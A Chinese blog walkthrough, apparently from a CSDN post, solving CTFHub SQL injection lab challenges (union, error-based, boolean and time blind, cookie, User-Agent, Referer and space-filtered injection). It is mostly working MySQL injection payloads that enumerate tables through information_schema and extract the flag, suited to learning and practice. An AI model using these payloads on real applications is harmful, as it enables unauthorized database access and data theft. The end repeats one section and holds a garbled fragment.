ctfhub_sql注入

CTFHub-SQL注入

整数型注入

由题意输入1,可以看到回显位置有两个,所以猜解有两列。

image-20210726211231605

1 order by 3

1 order by 2

image-20210726211353958

image-20210726211423964

可以得知为2列,开始爆破数据

数据库、用户名

image-20210726211537423

表名

-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())

image-20210726211633137

字段名

-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’)

image-20210726211714361

字段值

-1 union select 1,(select flag from flag)

image-20210726211751779

字符型注入

由题意输入1,可以看到回显位置有两个,所以猜解有两列。且有单引号。

image-20210726212954263

由此输入1’ order by 2 --(空格)

image-20210726213053220

表名

’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) –

image-20210726213132322

字段名

’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’) –

image-20210726213310338

字段值

’ union select 1,(select flag from flag)–

image-20210726213421540

报错注入

1 order by 3

image-20210726213616138

由此可知这是只有逻辑上的正确与错误回显,所以我们可以考虑用布尔盲注或者报错注入

库名

1 and updatexml(1,concat(0x7e,database()),1)

image-20210726213804389

表名

1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))

image-20210726214007809

字段名

1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’)))

image-20210726214125985

字段值

1 and extractvalue(1,concat(0x7e,(select flag from flag)))

image-20210726214224062

因为报错注入最多只有32位,所以截取一下flag

1 and extractvalue(1,concat(0x7e,substr((select flag from flag),32,10)))

image-20210726215228119

布尔盲注

1 order by 3

image-20210726215610464

我们得知题目只会回显给我们逻辑的正确与否,所以我们只能采用布尔注入

1 and (substr(database(),1,1))=‘s’

image-20210726215756827

库名

用burp进行爆破,得知数据库的名字为sqli

image-20210726220022784

表名

1 and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=‘s’

image-20210726220351323

得出表名为news、flag

字段名

image-20210726220932934

得出字段名为flag

字段值

1 and (substr((select flag from flag),1,1))=‘s’

image-20210726223254520

image-20210726223314507

image-20210726223331550

得出flag为ctfhub{d86699dd24caf0fe2d5cf800}

时间盲注

根据页面的响应时间,从而来判断逻辑的正确与否

1 and if(substr(database(),1,1)=‘s’,sleep(3),1)

用burp进行爆破

image-20210727104021996

根据顺序可以得知,数据库名字为sqli

1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)=‘s’,sleep(3),1)

image-20210727110929744

image-20210727112337649

MySQL结构

-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())

image-20210726225319670

-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘dyrdorcfwr’)

image-20210726225429623

-1 union select 1,(select pmuwgcasbo from dyrdorcfwr)

image-20210726225529902

Cookie注入

抓包页面发现id和hint

image-20210726223636109

所以直接在Cookie上动手即可

image-20210726224438323

所以就变成了一道数字型注入的题,参考上面payload即可

过滤空格

由题目得知我们空格被过滤,所以可以使用注释符、特殊符号、多重括号来绕过空格

1/**/and/**/1=1

image-20210726230200483

-1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())

image-20210726230249102

-1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='xovzyfxxxs')

image-20210726230405963

-1/**/union/**/select/**/1,(select/**/nujpnapvos/**/from/**/xovzyfxxxs)

image-20210726230555776

UA注入

UA其实就是User-Agent,里面有你电脑系统、浏览器的一些信息

直接抓包在UA处注入即可

image-20210727101116715

image-20210727101130734

表名

-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())

image-20210727101158657

字段名

-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘qtueekcoin’)

image-20210727101258605

字段值

-1 union select 1,(select raxvjnijoy from qtueekcoin)

image-20210727101442776

Refer注入

Referer就是指你的来源ip地址,即从那个地方过来的

Referer:1

image-20210727101822122

表名

Referer:-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())

image-20210727101851071

字段名

Referer:-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘hucydojkes’)

image-20210727103000436

字段值

Referer:-1 union select 1,(select mwkrywcxrn from hucydojkes)

627357858510)]

字段名

Referer:-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘hucydojkes’)

image-20210727103000436

字段值

Referer:-1 union select 1,(select mwkrywcxrn from hucydojkes)

image-20210727103300502

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值